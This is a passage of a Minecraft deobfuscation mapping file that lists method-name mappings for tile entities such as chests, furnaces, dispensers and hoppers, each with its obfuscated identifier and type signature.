(ILnet/minecraft/item/ItemStack;)Z net/minecraft/tileentity/TileEntityChest/func_94041_b (ILnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/tileentity/TileEntityChest/isChestAt (Lnet/minecraft/util/BlockPos;)Z net/minecraft/tileentity/TileEntityChest/func_174912_b (Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/tileentity/TileEntityChest/writeToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/tileentity/TileEntityChest/func_145841_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/tileentity/TileEntityChest/openInventory (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/tileentity/TileEntityChest/func_174889_b (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/tileentity/TileEntityChest/update ()V net/minecraft/tileentity/TileEntityChest/func_73660_a ()V +MD: net/minecraft/tileentity/TileEntityChest/receiveClientEvent (II)Z net/minecraft/tileentity/TileEntityChest/func_145842_c (II)Z +MD: net/minecraft/tileentity/TileEntityChest/closeInventory (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/tileentity/TileEntityChest/func_174886_c (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/tileentity/TileEntityChest/getName ()Ljava/lang/String; net/minecraft/tileentity/TileEntityChest/func_70005_c_ ()Ljava/lang/String; +MD: net/minecraft/tileentity/TileEntityChest/getFieldCount ()I net/minecraft/tileentity/TileEntityChest/func_174890_g ()I +MD: net/minecraft/tileentity/TileEntityChest/getGuiID ()Ljava/lang/String; net/minecraft/tileentity/TileEntityChest/func_174875_k ()Ljava/lang/String; +MD: net/minecraft/tileentity/TileEntityChest/clear ()V net/minecraft/tileentity/TileEntityChest/func_174888_l ()V +MD: net/minecraft/tileentity/TileEntityChest/hasCustomName ()Z net/minecraft/tileentity/TileEntityChest/func_145818_k_ ()Z +MD: net/minecraft/tileentity/TileEntityChest/checkForAdjacentChests ()V net/minecraft/tileentity/TileEntityChest/func_145979_i ()V +MD: net/minecraft/tileentity/TileEntityChest/getChestType ()I net/minecraft/tileentity/TileEntityChest/func_145980_j ()I +MD: net/minecraft/tileentity/TileEntityChest/getSizeInventory ()I net/minecraft/tileentity/TileEntityChest/func_70302_i_ ()I +MD: net/minecraft/tileentity/TileEntityChest/getInventoryStackLimit ()I net/minecraft/tileentity/TileEntityChest/func_70297_j_ ()I +MD: net/minecraft/tileentity/TileEntityChest/invalidate ()V net/minecraft/tileentity/TileEntityChest/func_145843_s ()V +MD: net/minecraft/tileentity/TileEntityCommandBlock$1/func_145757_a (Lio/netty/buffer/ByteBuf;)V net/minecraft/tileentity/TileEntityCommandBlock$1/func_145757_a (Lio/netty/buffer/ByteBuf;)V +MD: net/minecraft/tileentity/TileEntityCommandBlock$1/setCommand (Ljava/lang/String;)V net/minecraft/tileentity/TileEntityCommandBlock$1/func_145752_a (Ljava/lang/String;)V +MD: net/minecraft/tileentity/TileEntityCommandBlock$1/getPosition ()Lnet/minecraft/util/BlockPos; net/minecraft/tileentity/TileEntityCommandBlock$1/func_180425_c ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/tileentity/TileEntityCommandBlock$1/getPositionVector ()Lnet/minecraft/util/Vec3; net/minecraft/tileentity/TileEntityCommandBlock$1/func_174791_d ()Lnet/minecraft/util/Vec3; +MD: net/minecraft/tileentity/TileEntityCommandBlock$1/getEntityWorld ()Lnet/minecraft/world/World; net/minecraft/tileentity/TileEntityCommandBlock$1/func_130014_f_ ()Lnet/minecraft/world/World; +MD: net/minecraft/tileentity/TileEntityCommandBlock$1/getCommandSenderEntity ()Lnet/minecraft/entity/Entity; net/minecraft/tileentity/TileEntityCommandBlock$1/func_174793_f ()Lnet/minecraft/entity/Entity; +MD: net/minecraft/tileentity/TileEntityCommandBlock$1/updateCommand ()V net/minecraft/tileentity/TileEntityCommandBlock$1/func_145756_e ()V +MD: net/minecraft/tileentity/TileEntityCommandBlock$1/func_145751_f ()I net/minecraft/tileentity/TileEntityCommandBlock$1/func_145751_f ()I +MD: net/minecraft/tileentity/TileEntityCommandBlock/func_183000_F ()Z net/minecraft/tileentity/TileEntityCommandBlock/func_183000_F ()Z +MD: net/minecraft/tileentity/TileEntityCommandBlock/readFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/tileentity/TileEntityCommandBlock/func_145839_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/tileentity/TileEntityCommandBlock/getCommandBlockLogic ()Lnet/minecraft/command/server/CommandBlockLogic; net/minecraft/tileentity/TileEntityCommandBlock/func_145993_a ()Lnet/minecraft/command/server/CommandBlockLogic; +MD: net/minecraft/tileentity/TileEntityCommandBlock/writeToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/tileentity/TileEntityCommandBlock/func_145841_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/tileentity/TileEntityCommandBlock/getCommandResultStats ()Lnet/minecraft/command/CommandResultStats; net/minecraft/tileentity/TileEntityCommandBlock/func_175124_c ()Lnet/minecraft/command/CommandResultStats; +MD: net/minecraft/tileentity/TileEntityCommandBlock/getDescriptionPacket ()Lnet/minecraft/network/Packet; net/minecraft/tileentity/TileEntityCommandBlock/func_145844_m ()Lnet/minecraft/network/Packet; +MD: net/minecraft/command/CommandServerKick/getRequiredPermissionLevel ()I net/minecraft/command/CommandServerKick/func_82362_a ()I +MD: net/minecraft/command/CommandServerKick/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/CommandServerKick/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/CommandServerKick/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/CommandServerKick/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/CommandServerKick/getCommandName ()Ljava/lang/String; net/minecraft/command/CommandServerKick/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/CommandServerKick/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/CommandServerKick/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/tileentity/TileEntityComparator/setOutputSignal (I)V net/minecraft/tileentity/TileEntityComparator/func_145995_a (I)V +MD: net/minecraft/tileentity/TileEntityComparator/readFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/tileentity/TileEntityComparator/func_145839_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/tileentity/TileEntityComparator/getOutputSignal ()I net/minecraft/tileentity/TileEntityComparator/func_145996_a ()I +MD: net/minecraft/tileentity/TileEntityComparator/writeToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/tileentity/TileEntityComparator/func_145841_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/tileentity/TileEntityDaylightDetector/update ()V net/minecraft/tileentity/TileEntityDaylightDetector/func_73660_a ()V +MD: net/minecraft/tileentity/TileEntityDispenser/getStackInSlot (I)Lnet/minecraft/item/ItemStack; net/minecraft/tileentity/TileEntityDispenser/func_70301_a (I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/tileentity/TileEntityDispenser/decrStackSize (II)Lnet/minecraft/item/ItemStack; net/minecraft/tileentity/TileEntityDispenser/func_70298_a (II)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/tileentity/TileEntityDispenser/setInventorySlotContents (ILnet/minecraft/item/ItemStack;)V net/minecraft/tileentity/TileEntityDispenser/func_70299_a (ILnet/minecraft/item/ItemStack;)V +MD: net/minecraft/tileentity/TileEntityDispenser/readFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/tileentity/TileEntityDispenser/func_145839_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/tileentity/TileEntityDispenser/setCustomName (Ljava/lang/String;)V net/minecraft/tileentity/TileEntityDispenser/func_146018_a (Ljava/lang/String;)V +MD: net/minecraft/tileentity/TileEntityDispenser/createContainer (Lnet/minecraft/entity/player/InventoryPlayer;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/inventory/Container; net/minecraft/tileentity/TileEntityDispenser/func_174876_a (Lnet/minecraft/entity/player/InventoryPlayer;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/inventory/Container; +MD: net/minecraft/tileentity/TileEntityDispenser/isUseableByPlayer (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/tileentity/TileEntityDispenser/func_70300_a (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/tileentity/TileEntityDispenser/addItemStack (Lnet/minecraft/item/ItemStack;)I net/minecraft/tileentity/TileEntityDispenser/func_146019_a (Lnet/minecraft/item/ItemStack;)I +MD: net/minecraft/tileentity/TileEntityDispenser/getField (I)I net/minecraft/tileentity/TileEntityDispenser/func_174887_a_ (I)I +MD: net/minecraft/tileentity/TileEntityDispenser/removeStackFromSlot (I)Lnet/minecraft/item/ItemStack; net/minecraft/tileentity/TileEntityDispenser/func_70304_b (I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/tileentity/TileEntityDispenser/setField (II)V net/minecraft/tileentity/TileEntityDispenser/func_174885_b (II)V +MD: net/minecraft/tileentity/TileEntityDispenser/isItemValidForSlot (ILnet/minecraft/item/ItemStack;)Z net/minecraft/tileentity/TileEntityDispenser/func_94041_b (ILnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/tileentity/TileEntityDispenser/writeToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/tileentity/TileEntityDispenser/func_145841_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/tileentity/TileEntityDispenser/openInventory (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/tileentity/TileEntityDispenser/func_174889_b (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/tileentity/TileEntityDispenser/closeInventory (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/tileentity/TileEntityDispenser/func_174886_c (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/tileentity/TileEntityDispenser/getName ()Ljava/lang/String; net/minecraft/tileentity/TileEntityDispenser/func_70005_c_ ()Ljava/lang/String; +MD: net/minecraft/tileentity/TileEntityDispenser/getFieldCount ()I net/minecraft/tileentity/TileEntityDispenser/func_174890_g ()I +MD: net/minecraft/tileentity/TileEntityDispenser/getGuiID ()Ljava/lang/String; net/minecraft/tileentity/TileEntityDispenser/func_174875_k ()Ljava/lang/String; +MD: net/minecraft/tileentity/TileEntityDispenser/clear ()V net/minecraft/tileentity/TileEntityDispenser/func_174888_l ()V +MD: net/minecraft/tileentity/TileEntityDispenser/hasCustomName ()Z net/minecraft/tileentity/TileEntityDispenser/func_145818_k_ ()Z +MD: net/minecraft/tileentity/TileEntityDispenser/getDispenseSlot ()I net/minecraft/tileentity/TileEntityDispenser/func_146017_i ()I +MD: net/minecraft/tileentity/TileEntityDispenser/getSizeInventory ()I net/minecraft/tileentity/TileEntityDispenser/func_70302_i_ ()I +MD: net/minecraft/tileentity/TileEntityDispenser/getInventoryStackLimit ()I net/minecraft/tileentity/TileEntityDispenser/func_70297_j_ ()I +MD: net/minecraft/tileentity/TileEntityDropper/getName ()Ljava/lang/String; net/minecraft/tileentity/TileEntityDropper/func_70005_c_ ()Ljava/lang/String; +MD: net/minecraft/tileentity/TileEntityDropper/getGuiID ()Ljava/lang/String; net/minecraft/tileentity/TileEntityDropper/func_174875_k ()Ljava/lang/String; +MD: net/minecraft/tileentity/TileEntityEnchantmentTable/readFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/tileentity/TileEntityEnchantmentTable/func_145839_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/tileentity/TileEntityEnchantmentTable/setCustomName (Ljava/lang/String;)V net/minecraft/tileentity/TileEntityEnchantmentTable/func_145920_a (Ljava/lang/String;)V +MD: net/minecraft/tileentity/TileEntityEnchantmentTable/createContainer (Lnet/minecraft/entity/player/InventoryPlayer;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/inventory/Container; net/minecraft/tileentity/TileEntityEnchantmentTable/func_174876_a (Lnet/minecraft/entity/player/InventoryPlayer;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/inventory/Container; +MD: net/minecraft/tileentity/TileEntityEnchantmentTable/writeToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/tileentity/TileEntityEnchantmentTable/func_145841_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/tileentity/TileEntityEnchantmentTable/update ()V net/minecraft/tileentity/TileEntityEnchantmentTable/func_73660_a ()V +MD: net/minecraft/tileentity/TileEntityEnchantmentTable/getName ()Ljava/lang/String; net/minecraft/tileentity/TileEntityEnchantmentTable/func_70005_c_ ()Ljava/lang/String; +MD: net/minecraft/tileentity/TileEntityEnchantmentTable/getDisplayName ()Lnet/minecraft/util/IChatComponent; net/minecraft/tileentity/TileEntityEnchantmentTable/func_145748_c_ ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/tileentity/TileEntityEnchantmentTable/getGuiID ()Ljava/lang/String; net/minecraft/tileentity/TileEntityEnchantmentTable/func_174875_k ()Ljava/lang/String; +MD: net/minecraft/tileentity/TileEntityEnchantmentTable/hasCustomName ()Z net/minecraft/tileentity/TileEntityEnchantmentTable/func_145818_k_ ()Z +MD: net/minecraft/tileentity/TileEntityEnderChest/canBeUsed (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/tileentity/TileEntityEnderChest/func_145971_a (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/tileentity/TileEntityEnderChest/openChest ()V net/minecraft/tileentity/TileEntityEnderChest/func_145969_a ()V +MD: net/minecraft/tileentity/TileEntityEnderChest/update ()V net/minecraft/tileentity/TileEntityEnderChest/func_73660_a ()V +MD: net/minecraft/tileentity/TileEntityEnderChest/receiveClientEvent (II)Z net/minecraft/tileentity/TileEntityEnderChest/func_145842_c (II)Z +MD: net/minecraft/tileentity/TileEntityEnderChest/closeChest ()V net/minecraft/tileentity/TileEntityEnderChest/func_145970_b ()V +MD: net/minecraft/tileentity/TileEntityEnderChest/invalidate ()V net/minecraft/tileentity/TileEntityEnderChest/func_145843_s ()V +MD: net/minecraft/tileentity/TileEntityFlowerPot/readFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/tileentity/TileEntityFlowerPot/func_145839_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/tileentity/TileEntityFlowerPot/setFlowerPotData (Lnet/minecraft/item/Item;I)V net/minecraft/tileentity/TileEntityFlowerPot/func_145964_a (Lnet/minecraft/item/Item;I)V +MD: net/minecraft/tileentity/TileEntityFlowerPot/getFlowerPotItem ()Lnet/minecraft/item/Item; net/minecraft/tileentity/TileEntityFlowerPot/func_145965_a ()Lnet/minecraft/item/Item; +MD: net/minecraft/tileentity/TileEntityFlowerPot/writeToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/tileentity/TileEntityFlowerPot/func_145841_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/tileentity/TileEntityFlowerPot/getFlowerPotData ()I net/minecraft/tileentity/TileEntityFlowerPot/func_145966_b ()I +MD: net/minecraft/tileentity/TileEntityFlowerPot/getDescriptionPacket ()Lnet/minecraft/network/Packet; net/minecraft/tileentity/TileEntityFlowerPot/func_145844_m ()Lnet/minecraft/network/Packet; +MD: net/minecraft/tileentity/TileEntityFurnace/getStackInSlot (I)Lnet/minecraft/item/ItemStack; net/minecraft/tileentity/TileEntityFurnace/func_70301_a (I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/tileentity/TileEntityFurnace/decrStackSize (II)Lnet/minecraft/item/ItemStack; net/minecraft/tileentity/TileEntityFurnace/func_70298_a (II)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/tileentity/TileEntityFurnace/setInventorySlotContents (ILnet/minecraft/item/ItemStack;)V net/minecraft/tileentity/TileEntityFurnace/func_70299_a (ILnet/minecraft/item/ItemStack;)V +MD: net/minecraft/tileentity/TileEntityFurnace/canInsertItem (ILnet/minecraft/item/ItemStack;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/tileentity/TileEntityFurnace/func_180462_a (ILnet/minecraft/item/ItemStack;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/tileentity/TileEntityFurnace/getSlotsForFace (Lnet/minecraft/util/EnumFacing;)[I net/minecraft/tileentity/TileEntityFurnace/func_180463_a (Lnet/minecraft/util/EnumFacing;)[I +MD: net/minecraft/tileentity/TileEntityFurnace/readFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/tileentity/TileEntityFurnace/func_145839_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/tileentity/TileEntityFurnace/setCustomInventoryName (Ljava/lang/String;)V net/minecraft/tileentity/TileEntityFurnace/func_145951_a (Ljava/lang/String;)V +MD: net/minecraft/tileentity/TileEntityFurnace/isBurning (Lnet/minecraft/inventory/IInventory;)Z net/minecraft/tileentity/TileEntityFurnace/func_174903_a (Lnet/minecraft/inventory/IInventory;)Z +MD: net/minecraft/tileentity/TileEntityFurnace/createContainer (Lnet/minecraft/entity/player/InventoryPlayer;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/inventory/Container; net/minecraft/tileentity/TileEntityFurnace/func_174876_a (Lnet/minecraft/entity/player/InventoryPlayer;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/inventory/Container; +MD: net/minecraft/tileentity/TileEntityFurnace/isUseableByPlayer (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/tileentity/TileEntityFurnace/func_70300_a (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/tileentity/TileEntityFurnace/getCookTime (Lnet/minecraft/item/ItemStack;)I net/minecraft/tileentity/TileEntityFurnace/func_174904_a (Lnet/minecraft/item/ItemStack;)I +MD: net/minecraft/tileentity/TileEntityFurnace/getField (I)I net/minecraft/tileentity/TileEntityFurnace/func_174887_a_ (I)I +MD: net/minecraft/tileentity/TileEntityFurnace/removeStackFromSlot (I)Lnet/minecraft/item/ItemStack; net/minecraft/tileentity/TileEntityFurnace/func_70304_b (I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/tileentity/TileEntityFurnace/setField (II)V net/minecraft/tileentity/TileEntityFurnace/func_174885_b (II)V +MD: net/minecraft/tileentity/TileEntityFurnace/isItemValidForSlot (ILnet/minecraft/item/ItemStack;)Z net/minecraft/tileentity/TileEntityFurnace/func_94041_b (ILnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/tileentity/TileEntityFurnace/canExtractItem (ILnet/minecraft/item/ItemStack;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/tileentity/TileEntityFurnace/func_180461_b (ILnet/minecraft/item/ItemStack;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/tileentity/TileEntityFurnace/writeToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/tileentity/TileEntityFurnace/func_145841_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/tileentity/TileEntityFurnace/openInventory (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/tileentity/TileEntityFurnace/func_174889_b (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/tileentity/TileEntityFurnace/getItemBurnTime (Lnet/minecraft/item/ItemStack;)I net/minecraft/tileentity/TileEntityFurnace/func_145952_a (Lnet/minecraft/item/ItemStack;)I +MD: net/minecraft/tileentity/TileEntityFurnace/update ()V net/minecraft/tileentity/TileEntityFurnace/func_73660_a ()V +MD: net/minecraft/tileentity/TileEntityFurnace/closeInventory (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/tileentity/TileEntityFurnace/func_174886_c (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/tileentity/TileEntityFurnace/isItemFuel (Lnet/minecraft/item/ItemStack;)Z net/minecraft/tileentity/TileEntityFurnace/func_145954_b (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/tileentity/TileEntityFurnace/getName ()Ljava/lang/String; net/minecraft/tileentity/TileEntityFurnace/func_70005_c_ ()Ljava/lang/String; +MD: net/minecraft/tileentity/TileEntityFurnace/getFieldCount ()I net/minecraft/tileentity/TileEntityFurnace/func_174890_g ()I +MD: net/minecraft/tileentity/TileEntityFurnace/getGuiID ()Ljava/lang/String; net/minecraft/tileentity/TileEntityFurnace/func_174875_k ()Ljava/lang/String; +MD: net/minecraft/tileentity/TileEntityFurnace/clear ()V net/minecraft/tileentity/TileEntityFurnace/func_174888_l ()V +MD: net/minecraft/tileentity/TileEntityFurnace/hasCustomName ()Z net/minecraft/tileentity/TileEntityFurnace/func_145818_k_ ()Z +MD: net/minecraft/tileentity/TileEntityFurnace/isBurning ()Z net/minecraft/tileentity/TileEntityFurnace/func_145950_i ()Z +MD: net/minecraft/tileentity/TileEntityFurnace/smeltItem ()V net/minecraft/tileentity/TileEntityFurnace/func_145949_j ()V +MD: net/minecraft/tileentity/TileEntityFurnace/canSmelt ()Z net/minecraft/tileentity/TileEntityFurnace/func_145948_k ()Z +MD: net/minecraft/tileentity/TileEntityFurnace/getSizeInventory ()I net/minecraft/tileentity/TileEntityFurnace/func_70302_i_ ()I +MD: net/minecraft/tileentity/TileEntityFurnace/getInventoryStackLimit ()I net/minecraft/tileentity/TileEntityFurnace/func_70297_j_ ()I +MD: net/minecraft/tileentity/IHopper/getXPos ()D net/minecraft/tileentity/IHopper/func_96107_aA ()D +MD: net/minecraft/tileentity/IHopper/getYPos ()D net/minecraft/tileentity/IHopper/func_96109_aB ()D +MD: net/minecraft/tileentity/IHopper/getZPos ()D net/minecraft/tileentity/IHopper/func_96108_aC ()D +MD: net/minecraft/tileentity/IHopper/getWorld ()Lnet/minecraft/world/World; net/minecraft/tileentity/IHopper/func_145831_w ()Lnet/minecraft/world/World; +MD: net/minecraft/tileentity/TileEntityHopper/getXPos ()D net/minecraft/tileentity/TileEntityHopper/func_96107_aA ()D +MD: net/minecraft/tileentity/TileEntityHopper/getYPos ()D net/minecraft/tileentity/TileEntityHopper/func_96109_aB ()D +MD: net/minecraft/tileentity/TileEntityHopper/getZPos ()D net/minecraft/tileentity/TileEntityHopper/func_96108_aC ()D +MD: net/minecraft/tileentity/TileEntityHopper/getInventoryForHopperTransfer ()Lnet/minecraft/inventory/IInventory; net/minecraft/tileentity/TileEntityHopper/func_145895_l ()Lnet/minecraft/inventory/IInventory; +MD: net/minecraft/tileentity/TileEntityHopper/getStackInSlot (I)Lnet/minecraft/item/ItemStack; net/minecraft/tileentity/TileEntityHopper/func_70301_a (I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/tileentity/TileEntityHopper/decrStackSize (II)Lnet/minecraft/item/ItemStack; net/minecraft/tileentity/TileEntityHopper/func_70298_a (II)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/tileentity/TileEntityHopper/setInventorySlotContents (ILnet/minecraft/item/ItemStack;)V net/minecraft/tileentity/TileEntityHopper/func_70299_a (ILnet/minecraft/item/ItemStack;)V +MD: net/minecraft/tileentity/TileEntityHopper/func_181556_a (Lnet/minecraft/world/World;DDD)Ljava/util/List; net/minecraft/tileentity/TileEntityHopper/func_181556_a (Lnet/minecraft/world/World;DDD)Ljava/util/List; +MD: net/minecraft/tileentity/TileEntityHopper/captureDroppedItems (Lnet/minecraft/tileentity/IHopper;)Z net/minecraft/tileentity/TileEntityHopper/func_145891_a (Lnet/minecraft/tileentity/IHopper;)Z +MD: net/minecraft/tileentity/TileEntityHopper/pullItemFromSlot (Lnet/minecraft/tileentity/IHopper;Lnet/minecraft/inventory/IInventory;ILnet/minecraft/util/EnumFacing;)Z net/minecraft/tileentity/TileEntityHopper/func_174915_a (Lnet/minecraft/tileentity/IHopper;Lnet/minecraft/inventory/IInventory;ILnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/tileentity/TileEntityHopper/readFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/tileentity/TileEntityHopper/func_145839_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/tileentity/TileEntityHopper/setCustomName (Ljava/lang/String;)V net/minecraft/tileentity/TileEntityHopper/func_145886_a (Ljava/lang/String;)V +MD: net/minecraft/tileentity/TileEntityHopper/isInventoryFull (Lnet/minecraft/inventory/IInventory;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/tileentity/TileEntityHopper/func_174919_a (Lnet/minecraft/inventory/IInventory;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/tileentity/TileEntityHopper/putDropInInventoryAllSlots (Lnet/minecraft/inventory/IInventory;Lnet/minecraft/entity/item/EntityItem;)Z net/minecraft/tileentity/TileEntityHopper/func_145898_a (Lnet/minecraft/inventory/IInventory;Lnet/minecraft/entity/item/EntityItem;)Z +MD: net/minecraft/tileentity/TileEntityHopper/canInsertItemInSlot (Lnet/minecraft/inventory/IInventory;Lnet/minecraft/item/ItemStack;ILnet/minecraft/util/EnumFacing;)Z net/minecraft/tileentity/TileEntityHopper/func_174920_a (Lnet/minecraft/inventory/IInventory;Lnet/minecraft/item/ItemStack;ILnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/tileentity/TileEntityHopper/putStackInInventoryAllSlots (Lnet/minecraft/inventory/IInventory;Lnet/minecraft/item/ItemStack;Lnet/minecraft/util/EnumFacing;)Lnet/minecraft/item/ItemStack; net/minecraft/tileentity/TileEntityHopper/func_174918_a (Lnet/minecraft/inventory/IInventory;Lnet/minecraft/item/ItemStack;Lnet/minecraft/util/EnumFacing;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/tileentity/TileEntityHopper/createContainer (Lnet/minecraft/entity/player/InventoryPlayer;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/inventory/Container; net/minecraft/tileentity/TileEntityHopper/func_174876_a (Lnet/minecraft/entity/player/InventoryPlayer;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/inventory/Container; +MD: net/minecraft/tileentity/TileEntityHopper/isUseableByPlayer (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/tileentity/TileEntityHopper/func_70300_a (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/tileentity/TileEntityHopper/canCombine (Lnet/minecraft/item/ItemStack;Lnet/minecraft/item/ItemStack;)Z net/minecraft/tileentity/TileEntityHopper/func_145894_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/tileentity/TileEntityHopper/getField (I)I net/minecraft/tileentity/TileEntityHopper/func_174887_a_ (I)I +MD: net/minecraft/tileentity/TileEntityHopper/removeStackFromSlot (I)Lnet/minecraft/item/ItemStack; net/minecraft/tileentity/TileEntityHopper/func_70304_b (I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/tileentity/TileEntityHopper/setField (II)V net/minecraft/tileentity/TileEntityHopper/func_174885_b (II)V +MD: net/minecraft/tileentity/TileEntityHopper/isItemValidForSlot (ILnet/minecraft/item/ItemStack;)Z net/minecraft/tileentity/TileEntityHopper/func_94041_b (ILnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/tileentity/TileEntityHopper/getInventoryAtPosition (Lnet/minecraft/world/World;DDD)Lnet/minecraft/inventory/IInventory; net/minecraft/tileentity/TileEntityHopper/func_145893_b (Lnet/minecraft/world/World;DDD)Lnet/minecraft/inventory/IInventory; +MD: net/minecraft/tileentity/TileEntityHopper/getHopperInventory (Lnet/minecraft/tileentity/IHopper;)Lnet/minecraft/inventory/IInventory; net/minecraft/tileentity/TileEntityHopper/func_145884_b (Lnet/minecraft/tileentity/IHopper;)Lnet/minecraft/inventory/IInventory; +MD: net/minecraft/tileentity/TileEntityHopper/writeToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/tileentity/TileEntityHopper/func_145841_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/tileentity/TileEntityHopper/isInventoryEmpty (Lnet/minecraft/inventory/IInventory;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/tileentity/TileEntityHopper/func_174917_b (Lnet/minecraft/inventory/IInventory;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/tileentity/TileEntityHopper/canExtractItemFromSlot (Lnet/minecraft/inventory/IInventory;Lnet/minecraft/item/ItemStack;ILnet/minecraft/util/EnumFacing;)Z net/minecraft/tileentity/TileEntityHopper/func_174921_b (Lnet/minecraft/inventory/IInventory;Lnet/minecraft/item/ItemStack;ILnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/tileentity/TileEntityHopper/openInventory (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/tileentity/TileEntityHopper/func_174889_b (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/tileentity/TileEntityHopper/update ()V net/minecraft/tileentity/TileEntityHopper/func_73660_a ()V +MD: net/minecraft/tileentity/TileEntityHopper/insertStack (Lnet/minecraft/inventory/IInventory;Lnet/minecraft/item/ItemStack;ILnet/minecraft/util/EnumFacing;)Lnet/minecraft/item/ItemStack; net/minecraft/tileentity/TileEntityHopper/func_174916_c 